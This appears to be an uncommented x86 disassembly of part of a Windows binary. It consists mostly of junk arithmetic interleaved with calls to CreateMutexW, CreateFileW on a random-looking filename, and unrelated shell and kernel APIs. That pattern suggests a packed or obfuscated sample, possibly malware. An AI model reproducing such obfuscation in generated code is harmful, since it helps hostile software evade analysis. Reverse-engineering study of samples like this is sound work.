add esp, 0x10
jmp 0x406718
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x34], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x258], eax
lea ecx, [ebp - 0x64]
mov dword [ebp - 0x284], ecx
lea edx, [ebp - 0x65]
mov dword [ebp - 0x148], edx
movzx eax, word [ebp - 0x26c]
mov ecx, dword [ebp - 0xec]
movzx edx, word [ecx]
xor eax, edx
mov word [0x7705cc], ax
mov eax, dword [ebp - 0xec]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x224]
movzx eax, word [edx]
or ecx, eax
mov word [ebp - 0x1d8], cx
mov cl, byte [ebp - 0x1a9]
mov byte [ebp - 0x18d], cl
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx]
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 0
je 0x406758
jmp 0x406825
mov ecx, dword [ebp - 0xb0]
mov edx, dword [ecx]
mov ecx, dword [0x771664]
shr edx, cl
mov eax, dword [ebp - 0xb4]
mov dword [eax], edx
mov ecx, dword [ebp - 0xb0]
mov edx, dword [ebp - 0x2c]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0xb4]
mov edx, dword [ecx]
and edx, dword [ebp - 0x5c]
cmp eax, edx
ja 0x4067ca
mov eax, dword [ebp - 0xf0]
and eax, dword [ebp - 0x1b8]
mov dword [ebp - 0x17c], eax
mov ecx, dword [ebp - 0x224]
mov dx, word [ecx]
mov word [ebp - 0x27c], dx
mov eax, dword [ebp - 0xdc]
movzx ecx, byte [eax]
movzx edx, byte [0x41b006]
sub ecx, edx
mov byte [ebp - 0x18d], cl
jmp 0x406823
mov eax, dword [ebp - 0x17c]
add eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x150]
cmp eax, edx
jge 0x406823
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb0]
add ecx, dword [edx]
mov dword [ebp - 0x5c], ecx
mov eax, dword [ebp - 0x48]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x14c]
add ecx, dword [edx]
mov eax, dword [ebp - 0x25c]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x284]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x268]
sub edx, eax
mov word [0x41b004], dx
jmp 0x406861
mov ecx, dword [ebp - 0xac]
push ecx
mov edx, dword [ebp - 0x25c]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x48]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0xd0]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x14c]
mov ecx, dword [ecx]
call fcn.004043d0
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2c8]
mov dword [ebp - 0x16c], eax
mov ecx, dword [ebp - 0xdc]
mov dl, byte [ecx]
mov byte [ebp - 0x229], dl
mov eax, dword [ebp - 0x224]
movzx edx, word [eax]
movzx ecx, word [ebp - 0x110]
sar edx, cl
mov word [ebp - 0x27c], dx
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0xac]
or ecx, dword [eax]
mov dword [ebp - 0xf0], ecx
movzx edx, word [0x7705cc]
mov eax, dword [ebp - 0xec]
movzx ecx, word [eax]
shl edx, cl
movzx ecx, word [ebp - 0x27c]
movzx eax, word [ebp - 0x110]
xor ecx, eax
cmp edx, ecx
jl 0x406923
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ecx]
mov dword [ebp - 0x30], edx
movsx eax, word [ebp - 0x100]
imul eax, eax, 0xef
mov word [ebp - 0x268], ax
mov ecx, dword [ebp - 0x3c]
mov dl, byte [ecx]
mov byte [ebp - 0x1b1], dl
lea eax, [ebp - 0x1d8]
mov dword [ebp - 0x1dc], eax
mov ecx, dword [ebp - 0xd0]
mov edx, dword [ebp - 0x30]
and edx, dword [ecx]
mov dword [0x7705d0], edx
mov eax, dword [ebp - 0x1c0]
mov cl, byte [eax]
mov byte [ebp - 0x55], cl
mov edx, dword [ebp - 0x5c]
add edx, dword [ebp - 0x2c8]
mov dword [ebp - 0x16c], edx
mov eax, dword [ebp - 0xb4]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x2c8], ecx
lea edx, [ebp - 0x30]
mov dword [ebp - 0x21c], edx
mov eax, dword [ebp - 0x21c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0xbc]
mov dword [ebp - 0x150], ecx
mov edx, dword [0x7705d0]
mov dword [ebp - 0x220], edx
mov eax, dword [ebp - 0x284]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x100]
sub ecx, edx
movsx eax, word [ebp - 0x268]
movsx edx, word [ebp - 0x64]
and eax, edx
cmp ecx, eax
jle 0x4069f2
movzx eax, word [0x7705cc]
mov ecx, dword [ebp - 0x1dc]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0xec]
mov word [ecx], ax
mov edx, dword [ebp - 0x1c0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xdc]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x1a9], al
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x16c]
mov dword [ebp - 0x2c8], ecx
mov edx, dword [ebp - 0xf0]
sub edx, dword [ebp - 0xb8]
mov dword [0x7705d0], edx
lea eax, [ebp - 0xf0]
push eax
lea ecx, [ebp - 0x1cc]
push ecx
call dword [sym.imp.SHELL32.dll_SHIsFileAvailableOffline]
mov dword [ebp - 0x13c], eax
movsx edx, word [ebp - 0x268]
mov dword [ebp - 0x308], edx
cmp dword [ebp - 0x308], 0xffffde00
je 0x406a10
jmp 0x406abe
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x220]
sar eax, cl
mov dword [ebp - 0x150], eax
mov ecx, dword [ebp - 0xb0]
mov edx, dword [ebp - 0x5c]
or edx, dword [ecx]
mov eax, dword [ebp - 0x2c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1c0]
mov dl, byte [ecx]
mov byte [ebp - 0x165], dl
mov eax, dword [ebp - 0xec]
movzx edx, word [eax]
mov eax, dword [ebp - 0x1dc]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0xec]
mov word [ecx], dx
mov dword [ebp - 0x18c], 0xeb79
mov edx, dword [ebp - 0xbc]
mov dword [ebp - 0x30c], edx
cmp dword [ebp - 0x30c], 0xb81
je 0x406a80
jmp 0x406abc
mov eax, dword [ebp - 0x284]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x64]
xor ecx, edx
mov eax, dword [ebp - 0xe0]
mov word [eax], cx
movsx ecx, byte [ebp - 0x1b1]
mov edx, dword [ebp - 0x1b0]
movsx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x65], cl
mov ecx, dword [ebp - 0x16c]
sub ecx, dword [ebp - 0x2c8]
mov dword [ebp - 0x5c], ecx
jmp 0x406b17
mov edx, dword [ebp - 0x150]
sub edx, dword [0x7705d0]
mov eax, dword [ebp - 0x48]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1c0]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x160]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [0x771662], dl
mov edx, dword [ebp - 0x25c]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x21c]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x25c]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x21c]
mov edx, dword [edx]
mov ecx, dword [ebp - 0xb8]
call fcn.004043d0
mov eax, dword [ebp - 0x1b0]
mov cl, byte [eax]
mov byte [ebp - 0x310], cl
cmp byte [ebp - 0x310], 0x32
je 0x406b33
jmp 0x406bfc
mov edx, dword [ebp - 0x14c]
mov eax, dword [ebp - 0x220]
add eax, dword [edx]
mov ecx, dword [ebp - 0xc0]
mov dword [ecx], eax
mov edx, dword [ebp - 0xec]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x26c]
sub eax, ecx
mov word [ebp - 0x1a0], ax
movzx edx, byte [ebp - 0x1a9]
movzx eax, byte [ebp - 0x18d]
or edx, eax
mov byte [ebp - 0x251], dl
mov ecx, dword [ebp - 0xb0]
mov edx, dword [ebp - 0xb4]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0x2c8], eax
mov ecx, dword [ebp - 0xd0]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x30]
shl edx, cl
mov dword [0x7705d0], edx
push 0xa5
mov eax, dword [ebp - 0x6c]
push eax
mov ecx, dword [ebp - 0x214]
push ecx
call dword [sym.imp.SHELL32.dll_ExtractIconW]
mov dword [ebp - 0x194], eax
mov edx, dword [ebp - 0x150]
mov ecx, dword [ebp - 0xf0]
sar edx, cl
mov eax, dword [ebp - 0x48]
mov dword [eax], edx
mov ecx, dword [ebp - 0x48]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0xbc]
push eax
mov ecx, dword [ebp - 0x1b8]
push ecx
mov edx, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x14c]
mov ecx, dword [eax]
call fcn.004043d0
jmp 0x408571
mov ecx, dword [ebp - 0x21c]
mov edx, dword [ecx]
mov dword [ebp - 0x1a8], edx
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x1b8]
mov dword [ebp - 0xbc], ecx
lea edx, [ebp - 0x268]
mov dword [ebp - 0x158], edx
movsx eax, word [0x41b004]
movsx ecx, word [ebp - 0x268]
sub eax, ecx
mov edx, dword [ebp - 0x284]
movsx ecx, word [edx]
movsx edx, word [ebp - 0x100]
add ecx, edx
cmp eax, ecx
je 0x4084de
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0xb4]
mov edx, dword [ebp - 0xb0]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x150]
sar edx, cl
mov dword [ebp - 0x1b8], edx
mov eax, dword [ebp - 0x160]
mov cl, byte [eax]
mov byte [ebp - 0x314], cl
cmp byte [ebp - 0x314], 0xeb
je 0x406c9f
jmp 0x406cdb
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x14c]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x25c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2c8]
call fcn.00408710
mov ecx, dword [ebp - 0x160]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x55]
add edx, eax
mov byte [ebp - 0x229], dl
jmp 0x406d78
mov cx, word [ebp - 0x27c]
mov word [ebp - 0x274], cx
mov dx, word [ebp - 0x64]
mov word [0x771660], dx
mov eax, dword [ebp - 0xb4]
mov ecx, dword [eax]
mov dword [ebp - 0x318], ecx
cmp dword [ebp - 0x318], 0
je 0x406d43
cmp dword [ebp - 0x318], 0x8e2
je 0x406d19
jmp 0x406d78
mov edx, dword [ebp - 0xb4]
mov eax, dword [edx]
and eax, dword [ebp - 0x2c8]
mov dword [ebp - 0x16c], eax
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ebp - 0xac]
add edx, dword [ecx]
mov dword [ebp - 0x150], edx
jmp 0x406d78
mov eax, dword [ebp - 0x158]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x268]
sub ecx, edx
mov word [ebp - 0x100], cx
mov eax, dword [ebp - 0x148]
mov cl, byte [eax]
mov byte [ebp - 0x26d], cl
mov edx, dword [ebp - 0xdc]
mov al, byte [edx]
mov byte [ebp - 0xd1], al
movzx ecx, word [ebp - 0x198]
mov edx, dword [ebp - 0x224]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x27c], cx
push 0
push 0x200
push 5
push 0
push 8
push 0x40000000
push str.WQmyH9DFp1RQ
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x1bc], eax
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb4]
add edx, dword [eax]
mov dword [ebp - 0x5c], edx
cmp dword [ebp - 0x240], 0x248e
jb 0x406ec4
mov ecx, dword [ebp - 0xd0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xc0]
add edx, dword [eax]
mov dword [ebp - 0xb8], edx
mov ecx, dword [ebp - 0xb8]
sub ecx, dword [ebp - 0x1b8]
mov dword [0x7705d0], ecx
mov edx, dword [ebp - 0x240]
sub edx, 0x25
mov dword [ebp - 0x240], edx
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0xb0]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp - 0x1a8]
and ecx, dword [eax]
mov dword [ebp - 0x1b8], ecx
mov edx, dword [ebp - 0x1dc]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1d8]
sar eax, cl
mov word [ebp - 0x27c], ax
movzx ecx, byte [ebp - 0x251]
movzx edx, byte [ebp - 0xd1]
xor ecx, edx
mov byte [ebp - 0x1a9], cl
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x1a8]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0xf0], edx
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x2c8]
or ecx, dword [eax]
mov dword [ebp - 0x5c], ecx
mov edx, dword [ebp - 0x220]
add edx, dword [ebp - 0xac]
mov eax, dword [ebp - 0x48]
mov dword [eax], edx
mov ecx, dword [ebp - 0x220]
sub ecx, dword [ebp - 0x17c]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x224]
movzx eax, word [edx]
mov ecx, dword [ebp - 0xec]
movzx edx, word [ecx]
and eax, edx
mov word [0x7705cc], ax
jmp 0x406dc4
lea eax, [ebp - 0x165]
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x18c], 0xecbb
jae 0x407189
movsx ecx, word [ebp - 0x64]
movsx edx, word [ebp - 0x268]
add ecx, edx
mov word [ebp - 0x100], cx
movsx eax, byte [ebp - 0x65]
movsx ecx, byte [ebp - 0x26d]
sub eax, ecx
mov byte [ebp - 0x1b1], al
mov edx, dword [ebp - 0x18c]
add edx, 0xe
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0xb4]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x2c8]
mov dword [ebp - 0x16c], ecx
mov edx, dword [ebp - 0x14c]
mov eax, dword [edx]
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0x34], eax
movzx ecx, byte [ebp - 0x18d]
movzx edx, byte [ebp - 0x1a9]
add ecx, edx
mov eax, dword [ebp - 0x1c8]
mov byte [eax], cl
mov ecx, dword [ebp - 0x1dc]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x224]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x198], dx
mov edx, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x2c8]
add eax, dword [edx]
mov dword [ebp - 0x16c], eax
mov ecx, dword [ebp - 0x1a8]
sub ecx, dword [ebp - 0xbc]
mov dword [0x7705d0], ecx
mov edx, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x1b8]
sar edx, cl
mov eax, dword [ebp - 0x48]
mov dword [eax], edx
mov ecx, dword [ebp - 0xb4]
mov edx, dword [ebp - 0x16c]
xor edx, dword [ecx]
mov dword [ebp - 0x2c8], edx
movzx eax, word [ebp - 0x110]
movzx ecx, word [ebp - 0x27c]
or eax, ecx
mov edx, dword [ebp - 0xec]
mov word [edx], ax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x250], eax
mov eax, dword [ebp - 0x1c8]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x165]
shl edx, cl
mov eax, dword [ebp - 0x1c0]
mov byte [eax], dl
mov ecx, dword [ebp - 0xc0]
mov edx, dword [ebp - 0x48]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0xc0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x25c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x14c]
add eax, dword [ecx]
mov dword [ebp - 0xb8], eax
mov edx, dword [ebp - 0x16c]
add edx, dword [ebp - 0x5c]
mov dword [ebp - 0x2c8], edx
mov eax, dword [ebp - 0xd0]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x34]
mov dword [ebp - 0xf0], ecx
mov edx, dword [ebp - 0x48]
mov eax, dword [edx]
add eax, dword [ebp - 0x1b8]
mov dword [0x7705d0], eax
mov ecx, dword [ebp - 0x158]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x284]
movsx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x64], dx
mov edx, dword [ebp - 0x1b0]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x3c]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x65], al
mov eax, dword [ebp - 0x1c8]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x165]
add ecx, edx
mov byte [ebp - 0x18d], cl
mov eax, dword [ebp - 0x224]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1d8]
sub ecx, edx
mov word [ebp - 0x1a0], cx
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x2c]
mov edx, dword [eax]
or edx, dword [ecx]
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x25c]
mov ecx, dword [ebp - 0x48]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x150], edx
mov eax, dword [ebp - 0x1c0]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x229]
shl edx, cl
mov byte [ebp - 0x251], dl
mov eax, dword [ebp - 0xec]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1d8]
xor ecx, edx
mov word [ebp - 0x198], cx
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xb4]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [0x771664], edx
mov eax, dword [ebp - 0x21c]
mov ecx, dword [0x7705d0]
add ecx, dword [eax]
mov dword [ebp - 0xf0], ecx
mov edx, dword [ebp - 0x14c]
mov eax, dword [ebp - 0x17c]
add eax, dword [edx]
mov dword [ebp - 0xbc], eax
mov ecx, dword [ebp - 0xb0]
mov edx, dword [ebp - 0x2c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0xb4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1dc]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x274]
sub eax, ecx
mov word [ebp - 0x198], ax
movzx edx, byte [ebp - 0x251]
movzx eax, byte [ebp - 0xd1]
and edx, eax
mov byte [ebp - 0x18d], dl
jmp 0x406ed0
mov ecx, dword [ebp - 0x25c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xc0]
add edx, dword [eax]
mov dword [ebp - 0x1a8], edx
mov ecx, dword [ebp - 0xc0]
mov edx, dword [ecx]
mov dword [ebp - 0x180], edx
movsx eax, word [ebp - 0x100]
mov ecx, dword [ebp - 0x284]
movsx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0xe0]
mov word [ecx], ax
mov edx, dword [ebp - 0x284]
movsx eax, word [edx]
mov dword [ebp - 0x31c], eax
cmp dword [ebp - 0x31c], 0xffffde00
je 0x4071f8
cmp dword [ebp - 0x31c], 0x7ef
je 0x40845c
jmp 0x4084d1
mov ecx, dword [ebp - 0x284]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x100]
shl edx, cl
movsx eax, word [0x41b004]
mov ecx, dword [ebp - 0x158]
movsx ecx, word [ecx]
xor eax, ecx
cmp edx, eax
jl 0x408321
movzx edx, word [ebp - 0x110]
mov eax, dword [ebp - 0x224]
movzx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0x26c], dx
mov edx, dword [ebp - 0x3c]
mov al, byte [edx]
mov byte [ebp - 0x151], al
cmp dword [ebp - 0xa8], 0x3911
ja 0x4075ff
movsx ecx, word [0x41b004]
mov edx, dword [ebp - 0x284]
movsx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0x158]
mov word [edx], cx
mov eax, dword [ebp - 0xb0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2c8]
mov edx, dword [ebp - 0x2c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x21c]
mov ecx, dword [ebp - 0x14c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [0x7705d0], edx
movzx eax, word [ebp - 0x1a0]
mov ecx, dword [ebp - 0x224]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x27c], ax
movzx eax, byte [ebp - 0x251]
movzx ecx, byte [ebp - 0x55]
sub eax, ecx
mov byte [ebp - 0x229], al
mov edx, dword [ebp - 0x21c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xd0]
add eax, dword [ecx]
mov dword [ebp - 0x1b8], eax
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x5c]
sub eax, dword [edx]
mov dword [ebp - 0x16c], eax
mov ecx, dword [ebp - 0xc0]
mov edx, dword [ebp - 0x17c]
and edx, dword [ecx]
mov eax, dword [ebp - 0x25c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x25c]
mov edx, dword [ebp - 0x1b8]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x21c]
mov dword [eax], edx
movzx ecx, word [ebp - 0x274]
movzx edx, word [0x7705c8]
xor ecx, edx
mov eax, dword [ebp - 0x1dc]
mov word [eax], cx
movzx edx, byte [ebp - 0x105]
mov eax, dword [ebp - 0x1c0]
movzx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x1c8]
mov byte [ecx], dl
mov edx, dword [ebp - 0xb4]
mov eax, dword [edx]
or eax, dword [ebp - 0x16c]
mov ecx, dword [ebp - 0xb4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x25c]
mov eax, dword [ebp - 0x14c]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x1a8]
sub eax, dword [ebp - 0xbc]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x17c]
and ecx, dword [ebp - 0xf0]
mov dword [ebp - 0xac], ecx
mov edx, dword [ebp - 0xd0]
mov eax, dword [edx]
sub eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x21c]
mov dword [ecx], eax
movsx edx, word [ebp - 0x64]
mov eax, dword [ebp - 0x158]
movsx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x100], dx
mov edx, dword [ebp - 0x3c]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x26d]
add eax, ecx
mov byte [ebp - 0x151], al
movzx edx, byte [ebp - 0x229]
movzx eax, byte [ebp - 0xd1]
add edx, eax
mov ecx, dword [ebp - 0x160]
mov byte [ecx], dl
mov edx, dword [ebp - 0xec]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x27c]
add eax, ecx
mov word [ebp - 0x26c], ax
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb4]
add eax, dword [ecx]
mov dword [0x771664], eax
mov edx, dword [ebp - 0xb0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x2c]
add eax, dword [ecx]
mov dword [ebp - 0x16c], eax
mov edx, dword [ebp - 0x224]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x274]
and eax, ecx
mov edx, dword [ebp - 0x1dc]
mov word [edx], ax
mov eax, dword [ebp - 0x160]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x1a9]
xor ecx, edx
mov eax, dword [ebp - 0x1c8]
mov byte [eax], cl
mov ecx, dword [0x7705d0]
or ecx, dword [ebp - 0x220]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0xa8]
add edx, 0x94
mov dword [ebp - 0xa8], edx
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0xb0]
mov edx, dword [eax]
mov ecx, dword [ecx]
shr edx, cl
mov dword [ebp - 0x16c], edx
mov eax, dword [ebp - 0x21c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x1b8]
shl edx, cl
mov dword [ebp - 0x180], edx
mov eax, dword [ebp - 0xbc]
sub eax, dword [ebp - 0xf0]
mov dword [ebp - 0x220], eax
movzx ecx, word [ebp - 0x27c]
movzx edx, word [0x7705c8]
sub ecx, edx
mov eax, dword [ebp - 0x1dc]
mov word [eax], cx
movzx ecx, byte [ebp - 0x165]
mov edx, dword [ebp - 0x1c0]
movzx eax, byte [edx]
and ecx, eax
mov byte [0x771662], cl
mov ecx, dword [ebp - 0xb0]
mov edx, dword [ecx]
add edx, dword [ebp - 0x16c]
mov dword [ebp - 0x2c8], edx
mov eax, dword [ebp - 0x48]
mov ecx, dword [0x7705d0]
sub ecx, dword [eax]
mov dword [ebp - 0x150], ecx
movsx edx, word [ebp - 0x100]
mov eax, dword [ebp - 0x284]
movsx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x268], dx
push 6
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x148]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x26d]
sub eax, ecx
mov byte [ebp - 0x151], al
mov edx, dword [ebp - 0x1c8]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x1a9]
add eax, ecx
mov edx, dword [ebp - 0xdc]
mov byte [edx], al
movzx eax, word [ebp - 0x27c]
movzx ecx, word [ebp - 0x26c]
add eax, ecx
mov word [ebp - 0x274], ax
mov edx, dword [ebp - 0xb0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb4]
add eax, dword [ecx]
mov edx, dword [ebp - 0x2c]
mov dword [edx], eax
mov eax, dword [ebp - 0xf0]
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0xac], eax
mov ecx, dword [ebp - 0xd0]
mov edx, dword [ebp - 0xc0]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [0x7705d0], eax
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x5c]
xor edx, dword [ecx]
mov dword [ebp - 0x16c], edx
mov eax, dword [ebp - 0x48]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xf0]
shl edx, cl
mov dword [ebp - 0xbc], edx
mov eax, dword [ebp - 0xec]
movzx edx, word [eax]
movzx ecx, word [ebp - 0x110]
sar edx, cl
mov word [ebp - 0x26c], dx
jmp 0x407248
movzx eax, byte [ebp - 0x1a9]
mov ecx, dword [ebp - 0xdc]
movzx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x229], al
mov eax, dword [0x7705d0]
mov dword [ebp - 0x174], eax
mov ecx, dword [ebp - 0x16c]
sub ecx, dword [ebp - 0x2c8]
mov dword [ebp - 0x5c], ecx
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x228], edx
mov eax, dword [ebp - 0x14c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xc0]
add ecx, dword [edx]
mov eax, dword [ebp - 0x25c]
mov dword [eax], ecx
mov ecx, dword [ebp - 0xec]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1a0]
and edx, eax
movzx ecx, word [ebp - 0x1d8]
movzx eax, word [ebp - 0x198]
add ecx, eax
cmp edx, ecx
je 0x40823e
movzx ecx, word [ebp - 0x110]
mov edx, dword [ebp - 0xec]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x224]
movzx eax, word [edx]
mov edx, dword [ebp - 0x1dc]
movzx edx, word [edx]
add eax, edx
cmp ecx, eax
jl 0x4076e5
mov eax, dword [ebp - 0x16c]
sub eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x2c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x30]
and edx, dword [ebp - 0x1a8]
mov dword [0x7705d4], edx
mov eax, dword [ebp - 0x25c]
mov ecx, dword [eax]
mov dword [ebp - 0x114], ecx
mov edx, dword [ebp - 0x21c]
mov eax, dword [ebp - 0x17c]
add eax, dword [edx]
mov dword [ebp - 0x228], eax
mov ecx, dword [ebp - 0x16c]
mov dword [ebp - 0xf8], ecx
mov edx, dword [ebp - 0x224]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1d8]
sub eax, ecx
mov edx, dword [ebp - 0x224]
mov word [edx], ax
mov dword [ebp - 0xe8], 0xc25fd85c
movzx eax, byte [ebp - 0x229]
mov ecx, dword [ebp - 0xdc]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x251], al
lea eax, [ebp - 0x210]
push eax
mov ecx, dword [ebp - 0x1bc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [ebp - 0x280], eax
mov edx, dword [ebp - 0xbc]
mov dword [ebp - 0x128], edx
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x174]
mov dword [ebp - 0x1c], ecx
lea edx, [ebp - 0x5c]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x1c]
xor ecx, dword [eax]
mov dword [0x7705d8], ecx
mov edx, dword [ebp - 0xe8]
xor edx, 0xc25bd85c
mov dword [ebp - 0xe8], edx
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0xbc]
sar eax, cl
mov ecx, dword [ebp - 0x25c]
